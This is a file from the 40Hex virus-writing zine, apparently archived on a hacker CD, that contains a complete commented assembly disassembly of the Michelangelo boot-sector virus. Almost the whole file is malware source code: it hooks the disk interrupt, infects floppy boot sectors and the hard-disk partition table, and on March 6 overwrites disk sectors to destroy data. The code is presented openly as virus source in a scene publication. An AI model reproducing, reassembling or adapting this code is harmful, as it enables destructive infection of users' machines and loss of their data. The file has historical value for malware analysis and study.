Hacker 2/HACKER2.mdf/virus/40hex_8.006

Text File | 1995-01-03 | 9KB | 239 lines

40Hex Number 8 Volume 2 Issue 4                                       File 006

; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus.  The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus.  In any case, it is yet another boot sector
; and partition table infector.

michelangelo    segment byte public
                assume  cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
                org     0

                jmp     entervirus
highmemjmp      db      0F5h, 00h, 80h, 9Fh
maxhead         db      2                       ; used by damagestuff
firstsector     dw      3
oldint13h       dd      0C8000256h

int13h:
                push    ds
                push    ax
                or      dl, dl                  ; default drive?
                jnz     exitint13h              ; exit if not
                xor     ax, ax
                mov     ds, ax
                test    byte ptr ds:[43fh], 1   ; disk 0 on?
                jnz     exitint13h              ; if not spinning, exit
                pop     ax
                pop     ds
                pushf
                call    dword ptr cs:[oldint13h]; first call old int 13h
                pushf
                call    infectdisk              ; then infect
                popf
                retf    2
exitint13h:     pop     ax
                pop     ds
                jmp     dword ptr cs:[oldint13h]

infectdisk:
                push    ax
                push    bx
                push    cx
                push    dx
                push    ds
                push    es
                push    si
                push    di
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     si, 4
readbootblock:
                mov     ax,201h                 ; Read boot block to
                mov     bx,200h                 ; after virus
        mov    cx,1
                xor     dx,dx
                pushf
                call    oldint13h
                jnc     checkinfect             ; continue if no error
                xor     ax,ax
                pushf
                call    oldint13h               ; Reset disk
                dec     si                      ; loop back
                jnz     readbootblock
                jmp     short quitinfect        ; exit if too many failures
checkinfect:
                xor     si,si
                cld
                lodsw
                cmp     ax,[bx]                 ; check if already infected
                jne     infectitnow
                lodsw
                cmp     ax,[bx+2]               ; check again
                je      quitinfect
infectitnow:
                mov     ax,301h                 ; Write old boot block
                mov     dh,1                    ; to head 1
                mov     cl,3                    ; sector 3
                cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
                je      is360Kdisk
                mov     cl,0Eh
is360Kdisk:
                mov     firstsector,cx
                pushf
                call    oldint13h
                jc      quitinfect              ; exit on error
                mov     si,200h+offset partitioninfo
                mov     di,offset partitioninfo
                mov     cx,21h                  ; Copy partition table
                cld
                rep     movsw
                mov     ax,301h                 ; Write virus to sector 1
                xor     bx,bx
        mov    cx,1
                xor     dx,dx
                pushf
                call    oldint13h
quitinfect:
        pop    di
        pop    si
        pop    es
        pop    ds
        pop    dx
        pop    cx
        pop    bx
        pop    ax
        retn
entervirus:
                xor     ax,ax
        mov    ds,ax
                cli
        mov    ss,ax
                mov     ax,7C00h                ; Set stack to just below
                mov     sp,ax                   ; virus load point
                sti
                push    ds                      ; save 0:7C00h on stack for
                push    ax                      ; later retf
                mov     ax,ds:[13h*4]
                mov     word ptr ds:[7C00h+offset oldint13h],ax
                mov     ax,ds:[13h*4+2]
                mov     word ptr ds:[7C00h+offset oldint13h+2],ax
                mov     ax,ds:[413h]            ; memory size in K
                dec     ax                      ; 1024 K
        dec    ax
                mov     ds:[413h],ax            ; move new value in
                mov     cl,6
                shl     ax,cl                   ; ax = paragraphs of memory
                mov     es,ax                   ; next line sets seg of jmp
                mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
                mov     ax,offset int13h
                mov     ds:[13h*4],ax
                mov     ds:[13h*4+2],es
                mov     cx,offset partitioninfo
                mov     si,7C00h
                xor     di,di
                cld
                rep     movsb                   ; copy to high memory
                                                ; and transfer control there
                jmp     dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
                xor     ax,ax
        mov    es,ax
                int     13h                     ; reset disk
                push    cs
        pop    ds
        mov    ax,201h
                mov     bx,7C00h
                mov     cx,firstsector
                cmp     cx,7                    ; hard disk infection?
                jne     floppyboot              ; if not, do floppies
                mov     dx,80h                  ; Read old partition table of
                int     13h                     ; first hard disk to 0:7C00h
                jmp     short exitvirus
floppyboot:
                mov     cx,firstsector          ; read old boot block
                mov     dx,100h                 ; to 0:7C00h
                int     13h
                jc      exitvirus
        push    cs
        pop    es
                mov     ax,201h                 ; read boot block
                mov     bx,200h                 ; of first hard disk
        mov    cx,1
        mov    dx,80h
                int     13h
                jc      exitvirus
                xor     si,si
                cld
                lodsw
                cmp     ax,[bx]                 ; is it infected?
                jne     infectharddisk          ; if not, infect HD
                lodsw                           ; check infection
        cmp    ax,[bx+2]
                jne     infectharddisk
exitvirus:
                xor     cx,cx                   ; Real time clock get date
                mov     ah,4                    ; dx = mon/day
                int     1Ah
                cmp     dx,306h                 ; March 6th
                je      damagestuff
                retf                            ; return control to original
                                                ; boot block @ 0:7C00h
damagestuff:
                xor     dx,dx
        mov    cx,1
smashanothersector:
        mov    ax,309h
                mov     si,firstsector
        cmp    si,3
                je      smashit
        mov    al,0Eh
        cmp    si,0Eh
                je      smashit
                mov     dl,80h                  ; first hard disk
                mov     maxhead,4
        mov    al,11h
smashit:
                mov     bx,5000h                ; random memory area
                mov     es,bx                   ; at 5000h:5000h
                int     13h                     ; Write al sectors to drive dl
                jnc     skiponerror             ; skip on error
                xor     ah,ah                   ; Reset disk drive dl
                int     13h
skiponerror:
                inc     dh                      ; next head
                cmp     dh,maxhead              ; 2 if floppy, 4 if HD
                jb      smashanothersector
                xor     dh,dh                   ; go to next head/cylinder
        inc    ch
                jmp     short smashanothersector
infectharddisk:
                mov     cx,7                    ; Write partition table to
                mov     firstsector,cx          ; sector 7
        mov    ax,301h
        mov    dx,80h
                int     13h
                jc      exitvirus
                mov     si,200h+offset partitioninfo ; Copy partition
                mov     di,offset partitioninfo      ; table information
        mov    cx,21h
                rep     movsw
                mov     ax,301h                 ; Write to sector 8
                xor     bx,bx                   ; Copy virus to sector 1
        inc    cl
                int     13h
;*              jmp     short 01E0h
                db      0EBh, 32h               ; ?This should crash?
; The following bytes are meaningless.
garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo:  db      42h dup (0)
michelangelo    ends
                end


Downloaded From P-80 International Information Systems 304-744-2253